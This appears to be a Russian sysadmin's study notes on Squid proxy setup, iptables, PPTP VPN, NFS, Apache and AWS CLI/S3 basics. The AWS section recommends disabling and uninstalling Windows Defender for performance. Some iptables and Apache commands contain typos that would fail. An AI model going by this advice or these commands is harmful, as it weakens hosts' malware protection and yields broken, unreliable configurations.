links -http-proxy localhost -dump ya.ru  (для проверки с localhost параметр "http_port" в конфиге должен быть таким "http_port 3128", что бы squid слушал все интерфейсы)

Squid настройка аутентификации

!!! /etc/squid/squid.conf - конфигурационный файл squid


auth_param схема параметр [опции]
!!! Прокси-сервер squid позволяет осуществлять аутентификацию пользователей, причем сам squid не проверяет правильность аутентификации, он только запрашивает логин и пароль у пользователя. 
!!! Для проверки полученной от пользователя информации он использует сторонние программы, которые будут ее осуществлять.
!!! Параметр «схема» определяет схему аутентификации: ntlm, digest или basic.
!!! После включения или выключения поддержки новой схемы proxy сервер рекомендуется остановить и запустить.

!!! Простой варианта basic аутентификации с использованием программы ncsa_auth
!!! Для работы программы ncsa_auth необходимо создать файл с перечислением пользователей и их паролей.
!!! Файл /etc/squid/passwd следует создавать и редактировать при помощи программы htpasswd(Эта программа поставляется с WEB сервером Apache)

!!! Создаем пользователей
htpasswd -c /etc/squid/passwd user - добавляем пользователя user (опцию -с следует указывать, только если файл /etc/squid/passwd еще не существует)

Пример включения авторизации:
-------
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid proxy-caching web server
auth_param basic credentialsttl 2 hours

acl passwd proxy_auth REQUIRED
acl any_auth proxy_auth anna bell thom
-------

!!! dpkg -L squid | grep ncsa_auth - команда поможет найти как теперь называется пакет ncsa_auth, и мы увидим что в ubuntu20.+ он лежит "/usr/lib/squid/basic_ncsa_auth"

Разрешим заходить на "ya.ru" только по паролю. Редактируем  файл /etc/squid/squid.conf
nano /etc/squid/squid.conf
--------------------------
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid proxy-caching web server
auth_param basic credentialsttl 2 hours

acl passwd proxy_auth REQUIRED
acl ya dstdomain .ya.ru .yandex.ru
acl myhost src 192.168.200.1
acl mynet src 192.168.200.0/24
acl wt time 10:00-17:00
acl rambler dstdomain .rambler.ru


http_access allow ya passwd
http_access deny ya
http_access allow localhost
http_access allow myhost
http_access deny rambler
http_access allow mynet wt
http_access deny all 

---------------------------

Проверка:
links -http-proxy localhost ya.ru  (для проверки с localhost параметр "http_port" в конфиге должен быть таким "http_port 3128", что бы squid слушал все интерфейсы)

/etc/init.d/squid force-reload

SQUID ограничение ширины канала


delay_pools
delay_class
delay_parameters
delay_access

В первую очередь при помощи параметра delay_pools определяется количество емкостей. 
Например, чтобы определить две емкости, необходимо написать так:
delay_pools 2

Ёмкости бывают трех классов:
Первого класса, предназначены для ограничения трафика всем acl, подключенным к емкости.
Второго класса, определяют ограничения для сети класса С и отдельно для каждого acl.
Третьего класса, определяют ограничения для сети класса В, затем отдельные ограничения для подсетей класса С и еще одно ограничение для каждого пользователя.
Для определения, к какому классу принадлежит емкость, используют параметр delay_class.
Первое число определяет номер емкости, второе — ее класс.
delay_class 1 1
delay_class 2 1

После определения количества и класса емкостей, необходимо задать параметры ограничения.
Количество опций параметра delay_parameters зависит от класса емкости:
Первого класса — один параметр.
Второго класса — два параметра.
Третьего класса — три параметра.
Если вместо 800/64000 написать 800/800 — общая скорость скачивания будет 800 бит в секунду.
Число -1 означает, что нет никаких ограничений.
Например, необходимо ограничить скорость скачивания для объектов размером от 64 Килобайт до 800 бит в секунду. 
Следует использовать следующую пару значений: 800/64000.
В случае определения ограничения для емкости первого класса
delay_parameters 1 800/64000
Если определяются параметры для емкости 2-го класса, указываются две пары значений: для сети и для каждой машины.
delay_parameters 1 64000/64000 4000/4000

Например, нам необходимо ограничить скорость скачивания мультимедийных файлов до 400 Килобит в секунду.
Сначала определяем acl, описывающий все типы мультимедийных файлов:
acl media urlpath_regex -i \.mpg$ \.avi$ \.mp3$
Затем определяем емкость задержки.
delay_pools 1
delay_class 1 1
delay_parameters 1 400/400
delay_access 1 allow media
delay_access 1 deny all
При определении параметра delay_access обязательно указывается номер емкости, к которой подключаются acl.

И еще пример:
Ограничить скорость скачивания материалов с сайта odnoklassniki.ru до 40 бит в секунду.

1. Откройте на редактирование файл squid.conf.

2.В конце файла добавьте:
acl odnoklassniki dstdomain .odnoklassniki.ru
delay_pools 1
delay_class 1 1
delay_parameters 1 40/40
delay_access 1 allow odnoklassniki
delay_access 1 deny all

3. Проверьте и заставьте прокси-сервер перечитать свой конфигурационный файл:
squid -k c
squid -k r
# /etc/init.d/squid force-reload
egrep -v "^#|^$" /etc/squid/squid.conf - показать конфиг, исключить из вывода строки начинающиеся на #, и пустые строки

4. Протестируйте
links -http-proxy localhost odnoklassniki.ru

SQUID ограничение ширины канала пример

acl ok dstdomain .odnoklassniki.ru
acl vk dstdomain .vk.com
acl tube dstdom_regex -i tube

delay_pools 2 # количество пулов

delay_class 1 2 # определяем для первого пула класс 2
delay_class 2 2 # определяем для второго пула класс 2

delay_parameters 1 -1/-1 1000/1000 # для первого пула не ограничиваем групповую полосу пропускная(-1), для одиночек ограничиваем в 1000бит
delay_parameters 2 10000/1000 1000/1000 # для второго пула ограничиваем групповую полосу пропускания в 10000бит (по итогу будет ровно на всех делится), для одиночек ограничиваем в 1000бит

delay_access 1 allow ok # включаем очередь для ok,  используем первый пулл
delay_access 1 allow vk # включаем очередь для vk,  используем второй пулл
delay_access 1 deny all # обязательное правило, для всех остальных не используем первый пулл

delay_access 2 allow tube # используем пулл два для tube
delay_access 2 deny all # для остальных не используем 

squid анализ логов

apt-get install sarg
dpkg -L sarg | grep conf

при ошибке не найден лог squid  \ создать символьную ссылку
------------------
cd /var/log 
ln -s squid3 squid
-------------------

при ошибки SARG: Unknown option resolve_ip
nano /etc/sarg/sarg.conf - собственно настроим параметр resolve_ip
------------------------
resolve_ip yes
-------------------------

sarg - запускаем и если все ок то sarg отработает молча

grep -i output /etc/sarg/sarg.conf - ищем в конфиге куда он там складывает логи, и видим что кладет он сюда /var/lib/sarg

grep -i documentroot /etc/apache2/* -R - ищем где там у нас apache2 сайты держит

собственно создаем еще одну символьную ссылку для sarg теперь в каталоге apache2
-----------------------------
cd /var/www/html/
ln -s /var/lib/sarg/ sarg
-----------------------------


добавим в планировщик в sarg
crontab -e 
----------
0 5 * * * /usr/bin/sarg
----------

Сетевой фильтр \ firewall

https://wiki.nftables.org/wiki-nftables/index.php/Port_knocking_example

OSI
-------------------
4. транспортный TCP UDP ICMP
3. сетевой IP  AF: inet inet6   -> firewall живет тут NetFilter
2. канальный \ Ethernet AF: Link  \ ARP
1. физика \ провода
-------------------
iptables - программа управления
netfilter - файрволл в ядре

Цепочки:
1. PREROUTING
2. FORWARD
3. POSTROUTING
4. INPUT
5. OUTPUT

Таблицы:
filter
nat
mangle

filter: (DROP, LOG, ACCEPT, REJECT)
-FORWARD - цепочка используется для фильтрацию пакетов, идущих транзитом через брандмауэр.
-INPUT - через эту цепочку проходят пакеты, которые предназначены локальным приложениям(брандмауэр).
-OUTPUT - используются для фильтрации исходящих пакетов, сгенерированных приложениями на самом брандмауэре.

nat: (DNAT,SNAT)
-PREROUTING - используется для внесения изменений на ходе брандмауэра. (dnat)
-OUTPUT - предназначена для преобразования пакетов, созданных приложениями внутри брандмауэра, перед принятием решения о маршрутизации.
-POSTROUTING - применяется для преобразования пакетов перед выдачей их во вне. (snat)

mangle: (MARK,TOS,TTL)
-PREROUTING - используется для внесения изменений в  пакеты на входе брандмауэра.
-POSTROUTING - применяется для изменения в пакеты перед выдачей их во вне.
-INPUT - через эту цепочку проходят пакеты, которые предназначены локальным приложениям(брандмауэру).
-FORWARD - используется для модификации заголовков пакетов, идущих транзитом через брандмауэр.
-OUTPUT - для внесения изменений в заголовок пакетов, поступающих от приложений внутри брандмауэра.


Порядок прохождения транзитных пакетов:
mangle PREROUTING
nat PREEOUTING
mangle FORWARD
filter FORWARD
mangle POSTROUTING
nat POSTROUTING

Порядок прохождения пакетов предназначенных для приложения компьютера:
mangle PREPOUTING
nat PREROUTING
mangle INPUT
filter INPUT

Порядок прохождения пакетов  отправленные приложениями компьютера:
mangle OUTPUT
nat OUTPUT
filter OUTPUT
mangle POSTROUTING
nat POSTROUTING



iptables [-t table] command [match] [target/jump]
command:
-A - добавить правило в конец цепочки (APPEND)
-D - удалить правило из цепочки (DELETE)
-R - заменить одно правило другим (REPLACE)
-I - вставить правило в указанное место в цепочке (INSERT) (по умолчанию вставляет в начало)
-L - показать список правил (LIST)
-F - очистить цепочку или таблицу (FLUSH)
-Z - обнулить счетчики (ZERO)
-N - создать цепочку пользователя (NEW)
-X - удалить цепочку пользователя 
-P - установить политику по умолчанию 

!!! таблица по умолчанию filter (iptables -t filter)
iptables -A INPUT -s 10.0.0.0/24 -j ACCEPT - в таблице filter из цепочки INPUT хостам из c ip 10.0.0.0/24 разрешаем доступ
iptables -D INPUT 1  - в таблице filter, цепочка INPUT, удаляем правило номер 1
iptables -D -p tcp --dport 80 -j DROP  - в таблице filter, цепочка INPUT, удаляем правило с протоколом tcp, портом 80
iptables -R INPUT 1 -s 192.168.0.1 -J ACCEPT - в таблице filter, цепочка INPUT, заменить первое правило на -s 192.168.0.1 -J ACCEPT
iptables -I INPUT 1 -p tcp --sport 80 -j ACCEPT - в таблице фильтр, цепочка INPUT, вставить правило -p tcp --sport 80 -j ACCEPT, все номера следующих правил будут увеличены на еденицу

пример iptables
---------------
iptables -A INPUT -s 10.0.0.130 -j ACCEPT - Разрешаем любой трафик на input с хоста 10.0.0.130
iptables -A INPUT -m state --state INVALID -j DROP - Отбрасываем трафик INVALID
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT - Разрешаем трафик RELATED, ESTABILISHED
iptables -A INPUT -j DROP - Отбрасываем все
---------------

пример ip6tables все дропаем для ipv6 во всех цепочках
-----------------------------
ip6tables -A INPUT -j DROP
ip6tables -A FORWARD -j DROP
ip6tables -A OUTPUT -j DROP
-----------------------------


iptables -L INPUT 

iptables -t nat 
iptables -t mangle


iptables -I INPUT -s 192.168.15.0/24 -j ACCEPT
iptables -I INPUT -s 10.0.0.0/24 -j ACCEPT

iptables -L -n - показать правила и показывать цифры
iptables -L -n -v - показать правила, использовать цифры, подробная информация
iptables -L -n -v -x - показывать правила, использовать цифры, подробная информация, не преобразовывать значения(аналог df -h)
iptables -L -n -v -x --line-numbers - показывать правила, использовать цифры, подробная информация, не преобразовывать значения(аналог df -h), показывать номера правил

iptables -F INPUT - очистим таблицу filter, цепочка INPUT
iptables -F - очистим таблицу filter и все ее цепочки (FORWARD, INPUT, OUTPUT)

iptables -N tcp_filter - добавить в таблицу filter пользовательскую цепочку tcp_filter
iptables -N udp_filter - добавить в таблицу filter пользовательскую цепочку tcp_filter
iptables -N icmp_filter - добавить в таблицу filter пользовательскую цепочку tcp_filter

iptables -P INPUT -p tcp -j tcp_filter - вот так мы заставляем пакеты tcp перенаправить в пользовательскую цепочку tcp_filter
iptables -D INPUT 1 - удаляем правило под номером 1 (тут пользовательская цепочка у нас )
iptables -F tcp_filter - очистить все правила цепочки tcp_filter
iptables -X tcp_filter - удалить пользовательскую цепочку tcp_filter

iptabless -P INPUT DROP - устанавливаем политику по умолчанию DROP (настраивать firewall на удаленной машине к дальней дороге)
iptabless -P INPUT ACCEPT - устанавливаем политику по умолчанию ACCEPT

Общие критерии match
-p - протокол (-p tcp)
-s - определяет IP-адрес источника (-s 10.0.0.1)
-d - определяет  IP-адрес назначения
-i - определяет входящий интерфейс
-o - определяет исходящий интерфейс (o eth0)
-f - определяет фрагментыm фрагментированного пакета (!-f) 

!!! Символ "!" инвертирует значение параметра.

TCP критерии:
    --sport - порт источника
    --dport - порт назначения (--dport 1024:65535)
    --tcp-flags - определение TCP-флагов
    --syn - запрос на соединение
UDP критерии:
    --sport - порт источника
    --dport - порт назначения
ICMP критерии:
    --icmp-type - определяет тип ICMP пакета (--icmp-type echo-request)

iptables -p tcp --help - показать все возможные значения для протокола tcp
iptables -p icmp --help - показать все возможные значения для протокола icmp
iptables -p udp --help - показать все возможные значения для протокола udp

Явные критерии:
limit - количество срабатываний правила (--limit-burst(отсечки) по умолчанию равны 5, N\t, N - кол-во срабатываний за единицу времени, t единица времени s,m,h,d)
mac - позволяет указать MAC-адрес устройства
multiport - позволяет указать список портов
state - определяет состояние пакетов (NEW, ESTABLISHED, RELATED, INVALID)

iptables -A INPUT -p icmp --icmp-type echo-request -m limnit --limit 1/s --limit-burst 1 -J ACCEPT (не более одного пакета в секунда по протоколу ICMP)
iptables -A INPUT -m mac --mac-source XX:XX:XX:XX:XX:XX -j ACCEPT
iptables -A IMPUT -p tcp -m multiport --source-port 21,53 -j ACCEPT
iptables -A INPUT -m state --state INVALID -j DPORT

Действия(-j):
ACCEPT - принять пакеты
DROP - сбросить пакет
REJECT - сбросить пакет с сообщение об ошибке
RETURN - возвращает из цепочки
LOG - помещает информацию в системный журнал

iptables -A INPUT -m state --state INVALID -j LOG --log-prefix "Strange:"


NAT - NETWORK ADDRESS TRANSLATION
RFC-1918 - документ по не маршрутизированным адресам
SNAT - замена IP-адреса или порта источника (Например настройка доступа к интернету для ПК из локальной сети через маршрутизатор)
DNAT - замена IP-адреса или порта назначения (Например доступ из интернета на ПК в локальной сети)
MASQUERADE - разбирается сам что куда подменять (используется когда у вас нет постоянного внешнего IP, или получаете его по DHCP)
REDIRECT - выполняет перенаправление пакетов и потоков на другой порт той же самой машины

iptables -t nat -A POSTROUTING -o isp -j MASQUERADE
iptables -t nat -A POSTROUTING -o isp -j SNAT --to-source 10.0.0.23
iptables -t nat -A PREROUTING -i eth1 -j DNAT --to-destination 192.168.1.25

iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s --limit-burst 1 -j ACCEPT
iptables -A INPUT -p icmp --icmp type echo-request -j DROP

Разбираемся с limit:
------------------------------
iptables -F - удаляем правила из таблицы filter
iptables -Z - обнуляем счетчики
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s --limit-burst 1 -j ACCEPT
ping -f -c 100000 localhost - посылаем 100000 пакетов и проверяем
iptables -Z - обнуляем счетчики
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
ping -f -c  500 localhost
------------------------------


Сохранение \  восстановление настроек iptables
---------------------------------------------
iptables-save - выведет на экран текущие настройки iptables 
iptables-restore - восстановит из файла настройки iptables
iptables-save > iptables-rules - сохранить настройки в файл iptables-rules
iptables-restore < iptables-rules - восстановить настройки из файла iptables-rules
---------------------------------------------

Для авто восстановления iptables можно добавить в файл сетевых настроек запуск iptables-restore
nano /etc/network/interfaces
----------------------------
auto lo (рекомендуется добавлять после lo интерфейса)
iface lo inet loopback (интерфейс loopback)
post-up iptables-restore < /путь_до_файла/iptables-rules  (например можно создать папку iptables и в нее положить iptables-rules )
----------------------------


http_port 3128 transparent - прозрачный прокси (в этом режиме работает только не шифрованный трафик http)
iptables -t nat -I PREROUTING -p tcp --dport 80 -i lan -j DNAT --to 192.168.200.1:3128
#iptables -t nat -A PREROUTING -i eth0 -d ! 192.168.2.0/24 -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.2.1:3128

iptables -t nat -F - очистить таблицу nat


Для работы pptp
iptables -A INPUT -p gre -j ACCEPT - разрешаем протокол GRE для всех
iptables -A INPUT -p tcp --dport 1723 -j ACCEPT - разрешаем соединение с PPTP-сервером для всех

PPTP / VPN / сервер / PPTD / PPPD

PoPToP - является одной из популярных реализаций PPTP 
dpkg -L pptpd | grep conf - позволяет посмотреть какие файлы входят в пакет

1.
apt-get install pptpd - установка 
nano  /etc/pptpd.conf - дописываем в конец следующие строки
---------------------
localip 172.16.1.1 - IP-адрес PPTP-сервера
remoteip 172.16.1.2-254 - # Диапазон адресов для клиентов PPTP-сервера
---------------------

2.
nano /etc/ppp/pptpd-options - нужно добавить строку auth и строка require-mppe-128 должна быть раскомментированна
---------------------------
###############################################################################

auth # требуем авторизацию у клиентов
# Authentication
require-mppe-128 # Используем шифрование
-----------------------------

3.
nano /etc/ppp/chap-secrets
-------------------------- 
user1 pptpd 1234 "*" - # Если пользователь должен динамически получать IP-адрес из диапазона remoteip в pptpd.conf:
user2 pptpd 1234 "172.16.1.101" - # Если мы хотим привязать определённый IP к логину
--------------------------

4.
/etc/init.d/pptpd restart - после этого перезапускаем pptpd

5.
Скорее всего на сервере стоит файрволл. 
iptables -A INPUT -p gre -j ACCEPT - разрешаем протокол GRE для всех;
iptables -A INPUT -p tcp --dport 1723 -j ACCEP - разрешаем соединение с PPTP-сервером для всех;

6. Сами себе провайдер
iptables -t nat -I POSTROUTING -o isp -s 172.16.1/24 -j MASQUERADE

PPTP / VPN / клиент

0. установка
apt-get install pptp-linux

1. Редактируем   /etc/ppp/peers/vpn0
nano /etc/ppp/peers/vpn0
------------------------
pty "pptp 192.168.2.1 --nolaunchpppd"
name user1
file /etc/ppp/options.pptp
remotename PPTP
ipparam vpn0
------------------------

2. Редактируем /etc/ppp/options.pptp
nano /etc/ppp/options.pptp - раскомментируем в файле следующую строчку
--------------------------
require-mppe-128
--------------------------

3. Редактируем /etc/ppp/chap-secrets
nano  /etc/ppp/chap-secrets - добавляем строку
---------------------------
user1 PPTP 1234 "192.168.2.1"
---------------------------

4. Проверяем 
pon vpn0
В системе должен появиться новый ppp-интерфейс. 
Проверить это можно командой:
ifconfig | grep ppp

Если же соединения не происходит, то можно попытаться выполнить команду:
pon vpn0 debug dump logfd 2 nodetach
И посмотреть какие ошибки будут выданы на экран.

5. Если нужно чтобы соединение выполнялось автоматически при загрузке компьютера, то
нужно добавить в файл /etc/network/interfaces строки:
auto tunnel
iface tunnel inet ppp
provider vpn0

NFS

NFS использует протокол UDP
apt-cache search nfs | grep server
apt-get install nfs-kernel-server

nano /etc/export - открываем доступ по nfs  на  каталог /usr/share/man для сети 10.0.0.0/24
---------------
/usr/share/man 10.0.0.0/24
/usr/share/man 192.168.1.0/24
---------------
/etc/init.d/nfs-kernel-server restart - перезапуск для принятия новых настроек


showmount -e - показать какие шары NFS доступны

mount c0:/usr/share/man /mnt/ - вот так можно примонтировать шару NFS на другом ПК (с0 - ПК на котором NFS, шара /usr/share/man, /mnt/ точка монтирования  )

----------------------------------------------------------------------------------------
mount 10.0.0.23:/usr/share/man j: - вот так можно примонтировать NFS шару на windows ПК
----------------------------------------------------------------------------------------

Apache2

ip-based и Name-based
nginx \ lighttpd

apt-get install apache2

ServerRoot - Параметр определяет вершину дерева каталогов WEB сервера. Этот каталог не предназначен для хранения html файлов.
PidFile - Определяет путь к файлу, в котором WEB сервер после запуска помещает свой PID.
KeepAlive - Если параметр имеет значение On — WEB сервер позволяет за одно подключение передавать сразу несколько ресурсов.
MaxKeepAliveRequests - Параметр определяет максимальное количество запросов в одном соединении.
KeepAliveTimeout - Параметр определяет время в секундах. Если в течении этого времени клиент не запросит следующий ресурс, сервер разорвет соединение.
IfModule - Директива проверяет — загружен ли соответствующий модуль и, если он загружен, позволяет использовать специфичные для этого модуля параметры.
StartServers - Количество дочерних серверов, создаваемых при запуске WEB сервера.
MinSpareServers - Минимальное количество экземпляров WEB сервера.
MaxSpareServers - Максимальное количество экземпляров WEB сервера.
MaxClients Определяет - количество запросов, обрабатываемых сервером.
MaxRequestsPerChild - Определяет максимальное количество запросов, которое может обработать один процесс.
Listen - Определяет IP адрес и порт, на которых WEB сервер слушает запросы. Если IP адрес не указан — сервер слушает запросы на всех сетевых интерфейсах.
LoadModule - Параметр связывает имя модуля и файл, в котором он находится.
Include - Директива подключает внешние конфигурационные файлы.
Port - Определяет порт на котором будет слушать запросы WEB сервер.
User - Определяет пользователя, с правами которого будет работать WEB сервер.
Group - Определяет группу, с правами которой будет работать WEB сервер.
ServerAdmin - Определяет Email администратора сервера.
DocumentRoot - Определяет директорию, в которой находятся html файлы.

Контейнеры
В Apache можно использовать различные контейнеры, которые позволяют определять параметры для объектов:
Directory — директорий
DirectoryMatch — то же, что и предыдущий контейнер, но в качестве параметра используется регулярное выражение
Files — файлов
FilesMatch — то же, что и предыдущий контейнер, но в качестве параметра используется регулярное выражении

Опции
Внутри контейнеров Directory можно использовать параметр Options, при помощи которого определяются различные опции. 
All - Все опции.
ExecCGI - Разрешает выполнение сценариев CGI.
FollowSymLinks - Сервер следует по символьным ссылкам.
Includes - Разрешается выполнение команд SSI (Server Side Includes).
IncludesNoExec - При использовании SSI запрещается использовать команды #exec и #include.
Indexes - Если в запросе не указывается конкретный файл, а только директория, и для даной директории не определен параметр
DirectoryIndex - или не найден файл по умолчанию, сервер выдает список файловой директорий, находящихся в запрашиваемой директории.
SymLinksIfOwnerMatch - Сервер следует по символьной ссылке только в том случае, если объект, на кото- рый указывает ссылка, принадлежит тому же пользователю, что и сама символьная ссылка.
MultiViews - Позволяет выводить документ согласно языка клиента.

AllowOverride
Параметр AllowOverride используют внутри контейнера Directory. 
Параметр определяет, какие параметры, объявленные в файле .htaccess (или любом другом, заданном AccessFileName), могут быть переопределены пользователями.
AuthConfig - Разрешает использование параметров аутентификации и управления доступом.
FileInfo - Разрешает использование параметров, управляющих типами документов.
Indexes - Разрешает использование параметров, управляющих индексами директорий.
Limit - Разрешает использовать параметры, управляющие доступом.
Options - Разрешает использовать параметры, управляющие свойствами директорий.
None - Запрещает использовать любые параметры.
All - Разрешает использовать все параметры.


Контроль доступа к ресурсам осуществляется при помощи параметров:
 Allow from — разрешает доступ
 Deny from — запрещает доступ
 Order — определяет порядок рассмотрения параметров Allow и Deny
Эти параметры можно использовать только в контейнерах или файлах .htaccess.

Виртуальный хостинг

NameVirtualHost *:80

ServerAdmin webmaster@any.com
DocumentRoot /home/any/public_html
ServerName www.any.com
ErrorLog /home/any/err/error_log
CustomLog /home/any/err/access_log common


---------------
nc ya.ru 80
HEAD / HTTP/1.1
Host: ya.ru
---------------

apache2ctl configteset - проверка конфигурации
apache2ctl graceful - принять настройки без перезагрузки

Рубрики
aws Конспект

Конспект: AWS

0. Инфраструктура:

https://www.youtube.com/watch?v=8jbx8O3wuLg&list=PLg5SS_4L6LYsxrZ_4xE_U95AtGsIB96k9 - видео материал по AWS

Расположение серверов и дата центров ... 
Region - Географическое место расположения
Availability Zone - Изолированный Дата центр (в каждом регионе как минимум их два)

Пример:
Region         AZ Availability Zone
us-west-1      (us-west-1a, us-west-1b, us-west-2c ...)
us-east-2      (us-east-2a, us-west-2b, us-west-2c ...)
ca-central-1   (ca-central-1a, ca-central-1b)
eu-west-1      (eu-west-1a, eu-west-2b)


https://aws.amazon.com/ru/about-aws/global-infrastructure/regions_az/

1. Сервисы / Услуги :

0. Amazon EC2 - Elastic Clud - виртуальные сервера (инстансы) Windows \ linux
1. Elastic Load Balancing - балансировка
2. AWS Elastic Beanstalk - инструменты devops / автоматизация
3. Amazon CloudFront - как бы виртуальный кеш вашего сервера 
4. Amazon CloudWatch - мониторинг вашей инфраструктуры
5. Amazon S3 - Simple storege server - хранилище по типу dropbox
6. Amazon Glacier - хранение архивов данных
7. Amazon EFS - общее хранилище для виртуальных машин
8. Amazon CloudFormation - инструменты devops \ инфраструктура в коде \ автоматизация
9. AWS OpsWorks - инструменты devops \ chef (что то типа ansible)
10. Amazon RDS - базы данных SQL, MSSQL, MySQL, postgre
11. Amazon DynamoDB - база Amazon по типу noSQL
12. Amazon Redshift - система анализа данных
13. Amazon EMR - работа с большими данными BIG DATE
14. IAM - управление пользователями (похоже на MS windows AD)
15. Amazon VPC - сеть , виртуальные сети, создание сетей, маршрутов, vpn, и т.д.
16. Amazone Route 53 - это DNS серверы, покупка доменов, добавление доменов, динамический DNS, балансировка по DNS
17. Amazon SES - Amazon Simple Email Service  - почтовые сервера 
18. Amazon SNS - Amazon Simple Notification Service  -  уведомления, почта, sms и т.д. (часто используют с  Amazon CloudWatch)
19. Amazon SQS - Amazon Simple Queue Service - сервис принимает очереди сообщений для хранения












2. Открытие бесплатного аккаунт Free Tier

# Внимание понадобится кредитная карта 
https://aws.amazon.com/ru/

3. Первая настройка.

Первым делом в консоле AWS идем в настройки пользователей, пишем в поиске IAM.
Создаем пользователей и группы.
IAM - управление пользователями (похоже на MS windows AD)

MFA - это включения двух факторной аутентификации, нужно будет на телефон установить ПО.


4. Рекомендации по windows 2016+ в AWS EC2 для быстродействия

Set-MpPreference -DisableRealtimeMonitoring $true - отключить антивирус мс
Uninstall-WindowsFeature -Name Windows-Defender - удалить антивирус от мс

5. EC2 при создании instance рекомендуется создавать TAG

# !!! EC2 при создании instance рекомендуется создавать TAG 
# !!! будет проще понять что за диски и т.д.
Name  WEB-SERVER


6. Amazon linux установка apache2

cd /var/www - перейти в каталог веб по умолчанию
sudo yum install httpd - установка
sudo service httpd start - запуск сервера
chkconfig on - добавить автозагрузку

7. awc cli install ( aws console )

Ubuntu:  sudo apt-get install awscli
RedHat: sudo yum install awscli

На windows должен быть установлен python
Также на Linux и Windows можно установить через Python:
pip install awscli


aws --version - для проверки после установки

8. AWS ssh подключение:

Для ubuntu пользователь по умолчанию ubuntu
Для всех остальных unix пользователь по умолчанию ec2-user
Подключатся по ssh к у вас должен быть файл pem. Генерируется при создании виртуалки.
Также добавить новый \ импортировать старый можно в разделе EC2 -> Network & Security -> Key PairsNew

9. aws cli use \ использование:

!!! У пользователей aws два вида доступа: консоль aws и программный.
!!! "Access key ID" и "Secret access key" нужен для программного доступа.
Нам понадобится Access key ID и Secret access key.  
Мы их получаем при создании пользователя.
Так же мы их можем получить в оснастке IAM -> user -> Security credentials -> Create access key 
!!! Внимание  Secret access key подсмотреть получится только один раз при создании, если не записали придется пересоздать заново.

Запускаем консоль awscli куда мы ее там поставили.
Пишем:
aws configure

У нас попросят:
Access key ID: ввести учетные данные
Secret access key: ввести учетные данные
регион: (можно посмотреть в оснастке EC2, или прям в ссылке https://eu-west-1.console.aws.amazon.com/ec2/v2/home?region=eu-west-1#Instances: то есть region=eu-west-1)
предпочитаемый формат: yaml \ json \ text \ table

Пример:
ubuntu@ip-XXX-XXX-43-187:~$ aws configure
AWS Access Key ID [None]: XXXXZ7IWZ3YRXZDPXXXX
AWS Secret Access Key [None]: XXXXA5TUBJkE6inhXXXXMPssP6poRFixT7B7XXX
Default region name [None]: eu-west-1
Default output format [None]: json


Что произойдет?:
В домашнем каталоге пользователя будет создан каталог .aws
В каталоге .aws будет два файла: config и credentials

содержимое config
ubuntu@ip-XXX-XXX-43-187:~/.aws$ cat config
[default]
region = eu-west-1
output = json

[profile reader]
region = eu-west-1
output = json

[profile writer]
region = eu-west-1
output = json

[profile pofig]
region = eu-west-1
output = json


содержимое credentials
ubuntu@ip-XXX-XX-43-187:~/.aws$ cat credentials
[default]
aws_access_key_id = XXXXZ7IWZ3YRXZDPXXXX
aws_secret_access_key = XXXXA5TUBJkE6inhXXXXMPssP6poRFixT7B7XXX

[write]
aws_access_key_id = XXXXZ7ZWZ3YRXZDPXXXA
aws_secret_access_key = XXXXA5TUBJkE6inhXXXXMPssP6poRFixT7B7XXX

[reader]
aws_access_key_id = XXXXZ7IZZ3YRXZDPXXXZ
aws_secret_access_key = XXXXA5TUBJkE6inhXXXXMPssP6poRFixT7B7XXX

[pofig]
aws_access_key_id = XXXXZ7IWZ3YRXZDPXXXV
aws_secret_access_key = XXXXA5TUBJkE6inhXXXXMPssP6poRFixT7B7XXX


Далее теперь мы можем использовать команды aws
aws ec2 describe-instances - покажет все сервера в EC2 
aws ec2 describe-regions -  показать все регионы

10. S3 bucket (вёдра)

S3 - Simple Storage Service 
гарантируется: 99.99% availability (если файл нужен то вероятность его получения 99.99%)
гарантируется: 99.999999999 durability (гарантируется что файлы не пропадут 99.999999999% и будут доступны в будущем)

Используются для:
Backup & Recovery
Data Archiving
Big Data Analytics
Статические Web Sites
Internet Share Drive

Максимальное коли-во bucket-ов 100. Всегда можно попросить увеличить.

Максимальный размер файла / объекта 5Tb
Максимальный размер файла за один PUT = 5GB 
Большие файлы можно загружать через MultiParUpload (специальная команда)

Типы хранения файлов / объектов:
1 - Amazon S3 Standart
2 - Amazon S3 Standart - infrequent Access

3 - Reduced Redundancy Storage 

4 - Amazon Glacier ( ледник \ очень долгое хранение файлов \ но доступ к архиву по запросу ( может быть до 5 часов))

Что такое bucket?!
По сути это просто папка. 
Для которой можно настроить тип хранения. 
Права доступа.

Bucket policy - тонкая настройка прав на backet, по кнопке "Policy generator" можно генерировать политики доступа. (формат json, можно использовать спецсимволы, звездочка "*" все)

Versioning \ Logging \ Static web hosting \ Tags \ Cross-region replication \ Transfer acceleration \ Events \ Requester pays 

Versioning - при включении появляется возможность восстановить удаленный файл - как бы резервное копирование - включается один раз на backet, отключить не возможно, можно приостановить. (для работы требуется Versioning)

Cross-region replication - (Managment -> Cross-region replication) - позволяет делать репликации файлов из одного региона в другой. Реплики создаются только новых файлов.

lifecycle - (Managment -> lifecycle) - позволяет настроить автоматический перенос в хранилище по дешевле (от Standart до Glacier), а так же удалять старые версии файлов и очистить хранилище  


Static Web Site - использовать s3 backet как веб хостинг (простой html\css)

10. S3 bucket (вёдра) используем awscli

aws s3 mb s3://myb.hellow.world - создать bucket с именем  myb.hellow.world (будет использоваться профиль по умолчанию default)

aws s3 mb s3://myb.hellow.writer  --profile=writer - создать bucket с именем  myb.hellow.writer  используя профиль writer

aws s3 mb s3://myb.hello.writer1 --region=us-west-2 --profile=writer - создать bucket с именем  myb.hello.writer1  используя профиль writer в регионе us-west-2

aws s3 ls - показать все доступные  bucket

aws s3 ls --profile=writer - показать все доступные  bucket используя профиль writer

aws s3 cp ОТКУДА КУДА -  скопировать файл (можно использовать спец символы. Например точка "." - текущий каталог и т.д.)

aws s3 cp 1.jpg  s3://myb.hello.writer1  -  скопировать файл 1.jpg в bucket с именем myb.hello.writer1

aws s3 sync . s3://myb.hellow.world - выполнить синхронизацию всех файлов из текущей директории(спец символ точка ".")  с bucket с именем myb.hellow.world 

